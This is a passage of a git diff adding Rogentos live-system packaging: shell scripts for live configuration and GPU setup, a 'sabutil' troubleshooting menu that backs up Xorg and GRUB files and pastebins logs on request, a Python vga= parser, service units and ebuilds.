"LC_ALL=${lang_toset}.UTF-8" > "${path}" + echo "LANG=${lang_toset}.UTF-8" >> "${path}" + echo "LANGUAGE=${lang_toset}.UTF-8" >> "${path}" + fi + done + + sed -i "s/^export LC_ALL=.*/export LC_ALL=${lang_toset}.UTF-8/g" \ + "/etc/profile.env" + sed -i "s/^export LANG=.*/export LANG=${lang_toset}.UTF-8/g" \ + "/etc/profile.env" + sed -i "s/^export LANGUAGE=.*/export LANGUAGE=${lang_toset}.UTF-8/g" \ + "/etc/profile.env" + + fi +} + + +main() { + . /sbin/rogentos-functions.sh + + # Perform configuration only in live mode + if ! rogentos_is_live; then + echo "Skipping Live system configuration" + return 0 + fi + + setup_settingsd + setup_desktop + setup_password + setup_keymap + setup_x + # MOVED HERE TO AVOID RACE CONDITIONS ON WRITING + # /etc/profile.env variables + setup_locale + rogentos_setup_autologin + rogentos_setup_motd + rogentos_setup_vt_autologin + rogentos_setup_oem_livecd +} + +main diff --git a/app-misc/rogentoslive-tools/files/2/sabutil b/app-misc/rogentoslive-tools/files/2/sabutil new file mode 100644 index 00000000..1787c59d --- /dev/null +++ b/app-misc/rogentoslive-tools/files/2/sabutil @@ -0,0 +1,667 @@ +#!/bin/bash + +# Initial version by wolfden. +# Later changes by Enlik . + +# last change: 9.03.2012 +# most important changes to last version: +# - abort if non root where needs root permissions +# - fix fdisk -l pasting +# - support for xorg.conf.d +# - reorder options and add rcupdate_pastebin + +USER=$(whoami) +HOMEDIR=${HOME:-/tmp} + +function menu +{ + local selection="" + until [[ "$selection" = "0" ]] ; do + echo "Current Operating System:" + cat /etc/rogentos-release + echo "" + echo "Current Edition:" + cat /etc/rogentos-edition + echo + echo "Pick a choice from menu below:" + + echo "" + echo "1 - Backup & edit xorg.conf and xorg.conf.d" + echo "2 - Restore xorg.conf and xorg.conf.d from backup" + echo "3 - Regenerate Sabayon xorg.conf" + echo "4 - Backup & edit grub.cfg" + echo "5 - Restore grub.cfg from backup" + echo "----------------------------------------" + echo "View and AutoPaste:" + echo " " + echo "01 - Pastebin Xorg configuration files" + echo "02 - Pastebin Xorg.0.log" + echo "03 - Pastebin ~/.xsession-errors" + echo "04 - Pastebin grub.cfg (bootmanager settings)" + echo "05 - Pastebin /var/log/dmesg" + echo "06 - Pastebin system and hardware info" + echo "07 - Pastebin fdisk -l (list the partition tables)" + echo "08 - Pastebin rc-update show (show enabled services and the runlevels)" + echo "09 - Pastebin rc.log" + echo "10 - Pastebin /var/log/messages" + echo "11 - Pastebin kdm.log" + echo "" + echo "0 - Exit" + echo "" + echo -n "Enter selection: " + read selection + echo "" + + case $selection in + 1 ) xorg_backup ; press_enter ; xorg_edit; press_enter ;; + 2 ) xorg_restore ; press_enter ;; + 3 ) xorg_regen ; press_enter ;; + 4 ) grub_backup ; press_enter ; nano -w /boot/grub/grub.cfg; press_enter ;; + 5 ) grub_restore ; press_enter ;; + 01 ) xorg_pastebin ; press_enter ;; + 02 ) xorg0log_pastebin ; press_enter ;; + 03 ) xsessionerrors_pastebin ; press_enter ;; + 04 ) grub_pastebin ; press_enter ;; + 05 ) dmesg_pastebin ; press_enter ;; + 06 ) system_pastebin ; press_enter ;; + 07 ) fdisk_pastebin ; press_enter ;; + 08 ) rcupdate_pastebin ; press_enter ;; + 09 ) rclog_pastebin ; press_enter ;; + 10 ) messages_pastebin ; press_enter ;; + 11 ) kdm_pastebin ; press_enter ;; + + 0 ) ;; + * ) echo "Please be sensible - choose a number that exists in the menu"; press_enter + esac + done + +} + +function press_enter +{ + echo "" + echo -n "Press Enter to continue" + read + clear +} + +function is_root +{ + if [[ $USER != "root" ]]; then + echo "You need to be root to do this." >&2 + return 1 + fi + return 0 +} + +function xorg_regen +{ + is_root || return + + if [[ ! -f "/etc/X11/xorg.conf.rogentos" ]]; then + cat > /etc/X11/xorg.conf.rogentos <=275.xx.xx drivers + #Option "UseEvents" "True" +EndSection + + +# ********************************************************************** +# Screen sections. +# ********************************************************************** + +Section "Screen" + +# The Identifier, Device and Monitor lines must be present + + Identifier "Screen 1" + Device "VESA" + Monitor "Generic Monitor" + #Option "AddARGBGLXVisuals" "true" + +# The favoured Depth and/or Bpp may be specified here + + DefaultDepth 24 + + SubSection "Display" + Depth 8 + ViewPort 0 0 + #Modes "1024x768" "800x600" "640x480" + EndSubsection + + SubSection "Display" + Depth 16 + ViewPort 0 0 + #Modes "1024x768" "800x600" "640x480" + EndSubsection + + SubSection "Display" + Depth 24 + ViewPort 0 0 + #Modes "1024x768" "800x600" "640x480" + EndSubsection + + +EndSection + + +Section "ServerLayout" +# The Identifier line must be present + + Identifier "Main Layout" + Screen 0 "Screen 1" + InputDevice "Mouse1" "CorePointer" + #InputDevice "Synaptics1" "SendCoreEvents" + +EndSection + +Section "DRI" + Mode 0666 +EndSection + +Section "Extensions" + #Option "Composite" "Enable" +EndSection +EOF + fi + + mv -f /etc/X11/xorg.conf /etc/X11/xorg.conf.old + /usr/sbin/x-setup-configuration + + echo "Note: you may want to look to /etc/X11/xorg.conf.d (if it exists), too." +} + +function xorg_backup +{ + is_root || return + + if [[ -f /etc/X11/xorg.conf.BKUP ]]; then + echo "/etc/X11/xorg.conf.BKUP already exists, so new backup wasn't made - aborting." + echo "Now off we go to edit the file...." + return + elif [[ -e /etc/X11/xorg.conf.d.BKUP ]]; then + echo "/etc/X11/xorg.conf.d.BKUP backup already exists, so new backup wasn't made - aborting." + return + fi + + # Delete backup file. If there's no xorg.conf, no stale xorg.conf.BKUP will be kept. + # So xorg_restore will not made new (unexpected) xorg.conf from xorg.conf.BKUP. + rm -f /etc/X11/xorg.conf.BKUP + if [[ -f /etc/X11/xorg.conf ]]; then + echo "Making backup of xorg.conf as /etc/X11/xorg.conf.BKUP" + cp /etc/X11/xorg.conf /etc/X11/xorg.conf.BKUP + else + echo "There's no /etc/X11/xorg.conf so it couldn't be backed up." + fi + + if [[ -e /etc/X11/xorg.conf.d ]]; then + echo "Making backup of /etc/X11/xorg.conf.d/*" + if [[ ! -d /etc/X11/xorg.conf.d ]]; then + echo "!!!" + echo "/etc/X11/xorg.conf.d is not a directory!" + return + fi + mkdir -p /etc/X11/xorg.conf.d.BKUP + rm -f /etc/X11/xorg.conf.d.BKUP/* # dotfiles and subdirectories (who keeps them there?!) are left untouched + cp /etc/X11/xorg.conf.d/* /etc/X11/xorg.conf.d.BKUP/ # and not copied (that's fine) + echo "/etc/X11/xorg.conf.d/* files are backed up in /etc/X11/xorg.conf.d.BKUP/" + else + echo "There's no /etc/X11/xorg.conf.d (directory) so it couldn't be backed up." + fi + + echo "" + echo "INTEL graphics users please read the url below before proceding" + echo "" + echo "http://gentoo-wiki.com/HOWTO_Intel_Onboard_Graphics_Notebooks_Native_Resolution" +} + +function xorg_restore +{ + is_root || return + + echo "Are you sure? This will replace your /etc/X11/xorg.conf and /etc/X11/xorg.conf.d/*.conf." + echo "[Y/n]" + local reply + read reply + if [[ $reply != "" && $reply != "y" && $reply != "Y" ]]; then + echo "OK, aborting." + return + fi + + if [[ -f /etc/X11/xorg.conf.BKUP ]]; then + echo "xorg.conf backup (/etc/X11/xorg.conf.BKUP) exists, whew!" + cp /etc/X11/xorg.conf.BKUP /etc/X11/xorg.conf + echo "" + echo "The original xorg.conf has been restored" + else + echo "UH OH!! The backup /etc/X11/xorg.conf.BKUP hasn't been made." + echo "If you think you need the file, don't panic, you can copy it from the Live DVD/CD." + fi + + echo "" + + if [[ -d /etc/X11/xorg.conf.d.BKUP ]] \ + && (shopt -s nullglob; f=(/etc/X11/xorg.conf.d.BKUP/*.conf); [[ ${#f[*]} -ne 0 ]] ) + then + echo "The backup /etc/X11/xorg.conf.d.BKUP (directory) exists and contails .conf files." + mkdir -p /etc/X11/xorg.conf.d + # similar notes as for xorg_backup, but files like .disabled are not removed + rm -f /etc/X11/xorg.conf.d/*.conf + cp /etc/X11/xorg.conf.d.BKUP/* /etc/X11/xorg.conf.d/ + echo "Your settings are now restored to /etc/X11/xorg.conf.d/." + fi +} + +function grub_backup +{ + is_root || return + + echo "Note: to modify GRUB configuration, you should edit /etc/default/grub" + echo " or a file in /etc/grub.d and then run grub-mkconfig -o /boot/grub/grub.cfg" + echo " (/boot/grub/grub.cfg shouldn't be edited by hand)." + echo "" + + if [[ -f /boot/grub/grub.cfg.BKUP ]]; then + echo "grub.cfg backup already exists, so the new one wasn't made." + echo "Now off we go to edit the file...." + else + echo "Making backup of grub.cfg as /boot/grub/grub.cfg.BKUP" + cp /boot/grub/grub.cfg /boot/grub/grub.cfg.BKUP + echo "" + fi +} + +function grub_restore +{ + is_root || return + + echo "Are you sure? This will replace your /boot/grub/grub.cfg." + echo "[Y/n]" + local reply + read reply + if [[ $reply != "" && $reply != "y" && $reply != "Y" ]]; then + echo "OK, aborting." + return + fi + + if [[ -f /boot/grub/grub.cfg.BKUP ]] + then + echo "grub.cfg backup (/boot/grub/grub.cfg.BKUP) exists, whew!" + cp /boot/grub/grub.cfg.BKUP /boot/grub/grub.cfg + echo "" + echo "The original grub.cfg has been restored" + else + echo "UH OH!! The backup script /boot/grub/grub.cfg.BKUP hasn't been made." + echo "Don't panic, you can use the Sabayon installer to repair GRUB." + fi +} + +function horner +{ + +# Quick system info gatherer written for Sabayon GNU/Linux +#(http://rogentoslinux.org) +# Copyright 2008 Richard Edward Horner +# Last modified 2008-11-26 +# Please send all comments, suggestions, bugs and patches to (rich AT +#richhorner DOT com) + +# This program is free software: you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation, either version 3 of the License, or +# (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program. If not, see . + +HOSTNAME=`hostname` +RELEASE=`cat /etc/rogentos-release` +CPU=`uname -p` +KERNEL=`uname -r` +KERN_ARCH=`uname -m` +DISK=`df -lT --exclude-type=tmpfs --exclude-type=rootfs | awk 'BEGIN { total = 0; used = 0 } { if (NR > 1) { total += $3; used += $4 } } END { printf "%.1f/%.1fGB", used / 1000000, total / 1000000 }'` +MEMORY=`cat /proc/meminfo | awk '{ if ($1 == "MemTotal:") { memtot = $2/1000 } else if ($1 == "MemFree:") { memfree = $2/1000 } } END { printf "%d/%dM", memfree, memtot }'` +DAYS=`cat /proc/uptime | awk '{ printf "%.1f", $1/86400 }'` +PROCS=`ps aux | awk 'END { print NR - 2 }'` +RENDERER=`glxinfo | awk -F : '{ if ($1 == "OpenGL renderer string") print $2 }'` + +echo "Sysinfo for '$HOSTNAME': $RELEASE with $KERN_ARCH kernel $KERNEL +on $CPU, HD: $DISK, MEM: $MEMORY, Renderer: $RENDERER, $PROCS procs, +up $DAYS days" + +} + +# echo -e "\a[pastebunz debug ON]" >&2; +# function pastebunz { sed 's/^/[pb] '/ | less; } + +# pastebunz seems to have some limit on max pasted lines, so this would be handy... +function files_pastebin_linelimit +{ + # args: limit file_to_pastebin [file_to_pastebin] ... + # example: file_pastebin_linelimit 30 file1 "file name2" file3 + # first arg: 0 means no limit + # By Enlik + local TMPFILE=~/newbietmp + local LINESLIMIT + local LLIMIT_H + + if [[ $# -le 1 ]]; then + echo "Error: no files to paste (in files_pastebin_linelimit)." >&2 + return 2 + fi + + let LINESLIMIT=$1 + shift + # If there is a limit of lines, we need to make space for file name and blank + # lines to be pasted. Otherwise we have as much space as we want. + if [[ $LINESLIMIT -eq 0 ]]; then + LLIMIT_H="+1" + else + LLIMIT_H=$(( LINESLIMIT - 3 )) + fi + + >"$TMPFILE" || { + echo "Oh no! I can't create temporary file... Aborting." >&2 + return 3 + } + + for file in "$@"; do + echo " --- file: $file ---" + echo " " + if [[ -r $file ]]; then + # This tail guarantees that LAST file name is visible (unless the limit is really small, <= 2 lines) + # (previous one(s) can be wiped by tail due to limit of lines). + # The file name is always visible if there's only one specified + # as argument (unless the limit value is really small, as above). + # All file names are always visible if there's no limit + # of lines, or the limit is big enough. + cat "$file" 2>&1 | tail -n $LLIMIT_H + elif [[ -e $file ]]; then + echo "THIS FILE COULDN'T BE READ." + else + echo "THIS FILE DOESN'T EXIST." + fi + echo " " + done >> "$TMPFILE" + if [[ $LINESLIMIT -eq 0 ]]; then + cat "$TMPFILE" | pastebunz + else + tail -n $LINESLIMIT "$TMPFILE" | pastebunz + fi + echo "** Please see the link above! **" + + rm "$TMPFILE" + return 0 +} + +function files_pastebin +{ + files_pastebin_linelimit 0 "$@" +} + +function system_pastebin +{ + echo -n "Please wait, it is going to take a while..." + local PASTE_TMP=/tmp/sabutil-tmp + + >"$PASTE_TMP" || { + echo "Oh no! I can't create temporary file... Aborting." + return 1 + } + + echo " + sh /sbin/logscript.sh + " >> "$PASTE_TMP" + sh "/sbin/logscript.sh" >> "$PASTE_TMP" + + cat "$PASTE_TMP" + cat "$PASTE_TMP" | pastebunz + echo "*** Please see the link above. ***" + rm "$PASTE_TMP" +} + +function xorg0log_pastebin +{ + tail -n 150 /var/log/Xorg.0.log + files_pastebin_linelimit 150 /var/log/Xorg.0.log +} + +function xsessionerrors_pastebin +{ + cat "$HOMEDIR/.xsession-errors" | tail -n 10 + files_pastebin_linelimit 150 "$HOMEDIR/.xsession-errors" + if [[ $USER = "root" ]]; then + echo + echo "Notice: root's .xsession-errors file has been pasted." + echo "To get .xsession-errors from your regular account on which" + echo "you are logged using GDM, KDM or so (which is probably what you want)," + echo "run this script as that user, not root, or pastebin .xsession-errors" + echo "from YOUR home directory manually." + echo + fi +} + +function dmesg_pastebin +{ + cat /var/log/dmesg + files_pastebin_linelimit 150 /var/log/dmesg +} + +function grub_pastebin +{ + cat /boot/grub/grub.cfg + files_pastebin /boot/grub/grub.cfg +} + +function fdisk_pastebin +{ + is_root || return # fdisk -l + + local PASTE_TMP=/tmp/sabutil-tmp + + >"$PASTE_TMP" || { + echo "Oh no! I can't create temporary file... Aborting." + return 1 + } + + ( + echo " + fdisk -l + "; + fdisk -l; + ) > "$PASTE_TMP" + + cat "$PASTE_TMP" + cat "$PASTE_TMP" | pastebunz + echo "*** Please see the link above. ***" + rm "$PASTE_TMP" +} + +function messages_pastebin +{ + tail -n 150 /var/log/messages + files_pastebin_linelimit 150 /var/log/messages +} + +function kdm_pastebin +{ + cat /var/log/kdm.log + files_pastebin_linelimit 150 /var/log/kdm.log +} + +function rclog_pastebin +{ + if [[ -f /var/log/rc.log ]]; then + cat /var/log/rc.log | tail -n 10 + files_pastebin_linelimit 150 /var/log/rc.log + else + echo "You Don't Have rc.log enabled in your /etc/rc.log" + echo " To enable, edit /etc/rc.log change NO to YES for rc_logger= " + echo "" + fi +} + +function rcupdate_pastebin +{ + local PASTE_TMP=/tmp/sabutil-tmp + + >"$PASTE_TMP" || { + echo "Oh no! I can't create temporary file... Aborting." + return 1 + } + + ( + echo " + rc-update show + "; + rc-update show + ) > "$PASTE_TMP" + + cat "$PASTE_TMP" + cat "$PASTE_TMP" | pastebunz + echo "*** Please see the link above. ***" + rm "$PASTE_TMP" +} + +function xorg_pastebin +{ + echo "These files will be pasted (don't worry if any of them don't exist):" + ls -l /etc/X11/xorg.conf /etc/X11/xorg.conf.d/* + files_pastebin /etc/X11/xorg.conf.d/* /etc/X11/xorg.conf +} + +function xorg_edit +{ + is_root &> /dev/null || echo "You are not root. You will only be able to view files." + + local xorgfiles=() file + if (shopt -s nullglob; f=(/etc/X11/xorg.conf.d/*.conf); [[ ${#f[*]} -ne 0 ]] ); then + xorgfiles=( /etc/X11/xorg.conf.d/* ) # let's put all non-dot files; warning for non-conf is below + fi + + if [[ -f /etc/X11/xorg.conf ]]; then + xorgfiles+=( /etc/X11/xorg.conf ) + fi + + if [[ ${#xorgfiles[*]} -eq 0 ]]; then + echo "I can't find any Xorg configuration files." + echo "There's no /etc/X11/xorg.conf or .conf files in /etc/X11/xorg.conf.d/ directory." + echo "Xorg uses autodected settings." + else + echo "These files affect your Xorg configuration." + echo "See http://fedoraproject.org/wiki/Input_device_configuration#xorg.conf.d for more informations." + echo "Select a file to edit or type q and press Enter to quit." + select file in "${xorgfiles[@]}"; do + if [[ -n $file ]]; then + # Not sure about files that don't start with a number and a hyphen - are they used? + if [[ ${file##*.} != "conf" ]]; then + echo "Warning: this file has no .conf suffix and thus will be ignored by Xorg." + press_enter + fi + nano -w "$file" + echo "Select a file to edit or type q and press Enter to quit." + elif [[ $REPLY = "q" || $REPLY = "Q" ]]; then + break + fi + done + fi +} + +clear + +if [[ $1 = "menu" ]]; then + if [[ $EUID -ne 0 ]]; then + echo "This script should be run as root, or by someone in the root group. Some commands will not work for you." 1>&2 + echo "" + fi + menu +elif [[ $1 = "--help" || $1 = "-h" ]]; then + echo "usage:" + echo "$0 - will print some basic system infos" + echo "$0 menu - will show you menu" +else + horner + echo "" + echo "Specify --help or -h to get help." + fi diff --git a/app-misc/rogentoslive-tools/files/2/vga-cmd-parser b/app-misc/rogentoslive-tools/files/2/vga-cmd-parser new file mode 100644 index 00000000..1e443171 --- /dev/null +++ b/app-misc/rogentoslive-tools/files/2/vga-cmd-parser @@ -0,0 +1,53 @@ +#!/usr/bin/python +# Copyright 2008 Fabio Erculiani, Sabayon Linux Chief Architect +# parses vga= parameters from cmdline given by isolinux and returns the right resolution +# Shut up! + +res_map = { + "0x385": ("640x400",24), + "0x312": ("640x480",24), + "0x315": ("800x600",24), + "0x318": ("1024x768",24), + "0x31b": ("1280x1024",24), + "0x330": ("640x400",16), + "0x33E": ("640x400",24), + "0x331": ("640x480",16), + "0x33F": ("640x480",24), + "0x332": ("800x600",16), + "0x340": ("800x600",24), + "0x333": ("1024x768",16), + "0x341": ("1024x768",24), + "0x334": ("1152x864",16), + "0x342": ("1152x864",24), + "0x335": ("1280x960",16), + "0x343": ("1280x960",24), + "0x336": ("1280x1024",16), + "0x344": ("1280x1024",24), + "0x337": ("1400x1050",16), + "0x345": ("1400x1050",24), + "0x338": ("1600x1200",16), + "0x346": ("1600x1200",24), + "0x339": ("1792x1344",16), + "0x347": ("1792x1344",24), + "0x33A": ("1856x1392",16), + "0x348": ("1856x1392",24), + "0x33B": ("1920x1440",16), + "0x349": ("1920x1440",24), + "0x33C": ("2048x1536",16), + "0x34A": ("2048x1536",24) +} + +f = open("/proc/cmdline") +cmdline = f.readline().strip().split() +cmdline.reverse() +for item in cmdline: + if item.startswith("vga="): + item_split = item.split("=") + if len(item_split) == 2: + data = item_split[1] + try: + if res_map.get(data) != None: + print res_map[data][0],res_map[data][1] + break + except TypeError: + pass diff --git a/app-misc/rogentoslive-tools/files/2/x-setup-configuration b/app-misc/rogentoslive-tools/files/2/x-setup-configuration new file mode 100644 index 00000000..b8747097 --- /dev/null +++ b/app-misc/rogentoslive-tools/files/2/x-setup-configuration @@ -0,0 +1,46 @@ +#!/bin/bash + +# get livecd functions +source /sbin/livecd-functions.sh +source /sbin/rogentos-functions.sh + +runtime_linking_proprietary_drivers() { + if [ -d "/lib/nvidia" ] || [ -d "/lib/fglrx" ]; then + current_arch=$(uname -m) + if [ "$current_arch" == "x86_64" ]; then + ld_arch="elf_x86_64" + elif [ "$current_arch" == "i686" ]; then + ld_arch="elf_i386" + fi + lspci_vga=$(lspci | grep ' VGA ') + mount -t tmpfs none /lib/modules/$(uname -r)/video + if [ -n "`echo $lspci_vga | grep -i nvidia`" ]; then + ld -m $ld_arch -r -o /lib/modules/$(uname -r)/video/nvidia.ko /lib/nvidia/nvidia.o /lib/nvidia/nvidia.mod.o + depmod -a &> /dev/null + elif [ -n "`echo $lspci_vga | grep -i ati`" ]; then + ld -m $ld_arch -r -o /lib/modules/$(uname -r)/video/fglrx.ko /lib/fglrx/fglrx.o /lib/fglrx/fglrx.mod.o + depmod -a &> /dev/null + elif [ -n "`echo $lspci_vga | grep -i unknown`" ]; then + ld -m $ld_arch -r -o /lib/modules/$(uname -r)/video/nvidia.ko /lib/nvidia/nvidia.o /lib/nvidia/nvidia.mod.o + ld -m $ld_arch -r -o /lib/modules/$(uname -r)/video/fglrx.ko /lib/fglrx/fglrx.o /lib/fglrx/fglrx.mod.o + depmod -a &> /dev/null + elif [ -z "$lspci_vga" ]; then + ld -m $ld_arch -r -o /lib/modules/$(uname -r)/video/nvidia.ko /lib/nvidia/nvidia.o /lib/nvidia/nvidia.mod.o + ld -m $ld_arch -r -o /lib/modules/$(uname -r)/video/fglrx.ko /lib/fglrx/fglrx.o /lib/fglrx/fglrx.mod.o + depmod -a &> /dev/null + fi + fi +} + +# create seed +rm -f /etc/x-setup-configuration-running +touch /etc/x-setup-configuration-running + +# Prepare Video Cards Proprietary Drivers +if rogentos_is_live; then + runtime_linking_proprietary_drivers +fi +/sbin/gpu-configuration &> /dev/null + +# delete seed +rm -f /etc/x-setup-configuration-running diff --git a/app-misc/rogentoslive-tools/files/2/x-setup-init.d b/app-misc/rogentoslive-tools/files/2/x-setup-init.d new file mode 100644 index 00000000..0c486c06 --- /dev/null +++ b/app-misc/rogentoslive-tools/files/2/x-setup-init.d @@ -0,0 +1,26 @@ +#!/sbin/runscript +# Copyright 2009-2013 Sabayon +# Distributed under the terms of the GNU General Public License v2 + +depend() { + after mtab + before hostname + before xdm +} + + + +start() { + . /sbin/rogentos-functions.sh + + ebegin "Configuring GPUs and input devices" + if rogentos_is_live; then + start-stop-daemon --start --background --pidfile /var/run/x-setup.pid \ + --make-pidfile --exec /usr/sbin/x-setup-configuration + eend 0 + return 0 + fi + + /usr/libexec/x-setup.sh > /dev/null + eend ${?} +} diff --git a/app-misc/rogentoslive-tools/files/2/x-setup.service b/app-misc/rogentoslive-tools/files/2/x-setup.service new file mode 100644 index 00000000..58ffa4af --- /dev/null +++ b/app-misc/rogentoslive-tools/files/2/x-setup.service @@ -0,0 +1,14 @@ +# This unit is meant to run only after install. + +[Unit] +Description=GPUs and input devices setup +ConditionKernelCommandLine=!cdroot +Before=display-manager.service + +[Service] +Type=oneshot +RemainAfterExit=true +ExecStart=/usr/libexec/x-setup.sh + +[Install] +WantedBy=multi-user.target \ No newline at end of file diff --git a/app-misc/rogentoslive-tools/files/2/x-setup.sh b/app-misc/rogentoslive-tools/files/2/x-setup.sh new file mode 100644 index 00000000..4463a66b --- /dev/null +++ b/app-misc/rogentoslive-tools/files/2/x-setup.sh @@ -0,0 +1,49 @@ +#!/bin/bash + +. /sbin/rogentos-functions.sh + +REDETECT=$(cat /proc/cmdline | grep "gpudetect") + +gpus_same() { + # $1 and $2: output lines from "lspci" + local id1 id2 # [xxxx:]xx:xx.x + local dev1 dev2 # vendor and device: xxxx:xxxx + id1=$(echo "$1" | awk '/ VGA / { print $1 }') + id2=$(echo "$2" | awk '/ VGA / { print $1 }') + if [ -z "$id1" ] || [ -z "$id2" ]; then + return 1 + fi + dev1=$(lspci -s "$id1" -n | awk '{ print $3 }') + dev2=$(lspci -s "$id2" -n | awk '{ print $3 }') + [ "$dev1" = "$dev2" ] +} + + +if [ -e /first_time_run ] || [ ! -e /etc/gpu-detector.conf ] \ + || [ -n "${REDETECT}" ]; then + echo "Configuring GPUs and input devices for the first time" + lspci | grep ' VGA ' > /etc/gpu-detector.conf + /usr/sbin/x-setup-configuration + exit 0 +fi + +infostr_run="Configuring GPUs and input devices" +infostr_skip="Skipping GPUs and input devices configuration" +lspci_vga=$(lspci | grep ' VGA ') +stored_vga=$(cat /etc/gpu-detector.conf) + +if [ "${lspci_vga}" != "${stored_vga}" ]; then + # Strings are different, let's do the more "heavy" and accurate comparison. + if gpus_same "${lspci_vga}" "${stored_vga}"; then + # this may happen after vendor changes its name etc. + # and PCI ID file is updated + echo "${infostr_skip}, only updating GPU information file" + else + echo "${infostr_run}" + /usr/sbin/x-setup-configuration + fi + echo "${lspci_vga}" > /etc/gpu-detector.conf + exit 0 +fi + +echo "${infostr_skip}" diff --git a/app-misc/rogentoslive-tools/rogentoslive-tools-1.0-r1.ebuild b/app-misc/rogentoslive-tools/rogentoslive-tools-1.0-r1.ebuild new file mode 100644 index 00000000..fe0faad2 --- /dev/null +++ b/app-misc/rogentoslive-tools/rogentoslive-tools-1.0-r1.ebuild @@ -0,0 +1,83 @@ +# Copyright 2004-2012 Sabayon +# Copyright 2012 Rogentos +# Distributed under the terms of the GNU General Public License v2 +# Original Authors Sabayon Team +# Maintainer BlackNoxis + +inherit eutils + +DESCRIPTION="Rogentos Live tools for autoconfiguration of the system" +HOMEPAGE="http://www.rogentos.ro/" + +SLOT="0" +LICENSE="GPL-2" +KEYWORDS="~amd64 ~x86" +IUSE="" + +DEPEND="" +RDEPEND="!app-misc/livecd-tools + !app-misc/sabayonlive-tools + app-admin/eselect-opengl + dev-util/dialog + sys-apps/gawk + sys-apps/pciutils + >=sys-apps/keyboard-configuration-helpers-2.6" + +src_unpack() { + cd "${WORKDIR}" + cp "${FILESDIR}"/${PV}/*-functions.sh . -p + cp "${FILESDIR}"/${PV}/net-setup . -p + cp "${FILESDIR}"/${PV}/x-setup-init.d . -p + cp "${FILESDIR}"/${PV}/installer-gui . -p + cp "${FILESDIR}"/${PV}/installer-text . -p + cp "${FILESDIR}"/${PV}/x-setup-configuration . -p + cp "${FILESDIR}"/${PV}/bashlogin . -p + cp "${FILESDIR}"/${PV}/opengl-activator . -p + cp "${FILESDIR}"/${PV}/rogentoslive . -p + cp "${FILESDIR}"/${PV}/vga-cmd-parser . -p + cp "${FILESDIR}"/${PV}/logscript.sh . -p + cp "${FILESDIR}"/${PV}/sabutil . -p + cp "${FILESDIR}"/${PV}/livespawn . -p + cp "${FILESDIR}"/${PV}/cdeject . -p + cp "${FILESDIR}"/${PV}/xorg.conf.rogentos . -p +} + +src_install() { + + cd "${WORKDIR}" + + dosbin x-setup-configuration + newinitd x-setup-init.d x-setup + + dosbin net-setup + into / + dosbin *-functions.sh + dosbin logscript.sh + dobin bashlogin + dobin vga-cmd-parser + exeinto /usr/bin + doexe opengl-activator + doexe livespawn + doexe sabutil + + dodir /etc/rogentos + insinto /etc/rogentos + + insinto /etc/X11 + doins xorg.conf.rogentos + + dodir /usr/share/X11/xorg.conf.d + insinto /usr/share/X11/xorg.conf.d + doins "${FILESDIR}/${PV}/xorg.conf.d/90-synaptics.conf" + + dodir /usr/share/rogentoslive-tools/xorg.conf.d + insinto /usr/share/rogentoslive-tools/xorg.conf.d + # fglrx <12.2 Xv workaround, enabled at runtime + doins "${FILESDIR}/${PV}/xorg.conf.d/90-fglrx-12.1-and-older-workaround.conf" + + newinitd rogentoslive rogentoslive + newinitd installer-gui installer-gui + newinitd installer-text installer-text + newinitd cdeject cdeject + +} diff --git a/app-misc/rogentoslive-tools/rogentoslive-tools-2.ebuild b/app-misc/rogentoslive-tools/rogentoslive-tools-2.ebuild new file mode 100644 index 00000000..88361edb --- /dev/null +++ b/app-misc/rogentoslive-tools/rogentoslive-tools-2.ebuild @@ -0,0 +1,74 @@ +# Copyright 2004-2013 Sabayon +# Distributed under the terms of the GNU General Public License v2 + +EAPI=5 + +inherit eutils systemd + +DESCRIPTION="Sabayon Live tools for autoconfiguration of the system" +HOMEPAGE="http://rogentos.ro/" + +SLOT="0" +LICENSE="GPL-2" +KEYWORDS="~amd64 ~arm ~x86" +IUSE="" + +DEPEND="" +RDEPEND="!app-misc/livecd-tools + app-admin/eselect-opengl + dev-util/dialog + sys-apps/gawk + sys-apps/pciutils + >=sys-apps/keyboard-configuration-helpers-2.6 + sys-apps/sed" + +S="${WORKDIR}" + +src_unpack() { :; } + +src_install() { + local dir="${FILESDIR}/${PV}" + + exeinto /usr/libexec + doexe "${dir}/installer-text.sh" + doexe "${dir}/installer-gui.sh" + doexe "${dir}/rogentoslive.sh" + doexe "${dir}/x-setup.sh" + doexe "${dir}/cdeject.sh" + + dosbin "${dir}/x-setup-configuration" + newinitd "${dir}/x-setup-init.d" x-setup + + dosbin "${dir}/net-setup" + into / + dosbin "${dir}/"*-functions.sh + dosbin "${dir}/logscript.sh" + dobin "${dir}/bashlogin" + dobin "${dir}/vga-cmd-parser" + + exeinto /usr/bin + doexe "${dir}/livespawn" + doexe "${dir}/sabutil" + doexe "${dir}/rogentos-live-check" + doexe "${dir}/rogentos-welcome-loader" + + dodir /etc/rogentos + insinto /etc/rogentos + doins "${dir}/rogentos-welcome-loader.desktop" + + dodir /usr/share/rogentoslive-tools/xorg.conf.d + insinto /usr/share/rogentoslive-tools/xorg.conf.d + + doinitd "${dir}/rogentoslive" + systemd_dounit "${dir}/rogentoslive.service" + systemd_dounit "${dir}/x-setup.service" + + doinitd "${dir}/installer-gui" + systemd_dounit "${dir}/installer-gui.service" + + doinitd "${dir}/installer-text" + systemd_dounit "${dir}/installer-text.service" + + doinitd "${dir}/cdeject" + systemd_dounit "${dir}/cdeject.service" +} diff --git a/app-misc/sabayon-mce/Manifest b/app-misc/sabayon-mce/Manifest new file mode 100644 index 00000000..ab0d505a --- /dev/null +++ b/app-misc/sabayon-mce/Manifest @@ -0,0 +1,6 @@ +AUX 1.1/bin/sabayon-mce-session 67 RMD160 ecb8a619ef1b8c24027a8645546aaa8ade67a0c3 SHA1 b47675404b79a106483a7346c5076c3704f6f9b8 SHA256 456a32721da17c42e4cd3ff33a619acbbcba94de3394003a2bc0a747b55c2c10 +AUX 1.1/bin/sabayon-mce-start 528 RMD160 d7456e2a140c4052dd17084c82602fcf484c0126 SHA1 d99ae41ef4b48be71de5e4abd173ed53dfdbe50b SHA256 4dadf0e7a5d6eb5144c40391e181dc16f91c5aa95944248ec69124acf4325983 +AUX 1.1/bin/sabayon-mce-startx 4376 RMD160 1a580f9a7d90888efeea725835314c5ff4667760 SHA1 2a67bde14cb92f244bc16bba22173e4688b4eefe SHA256 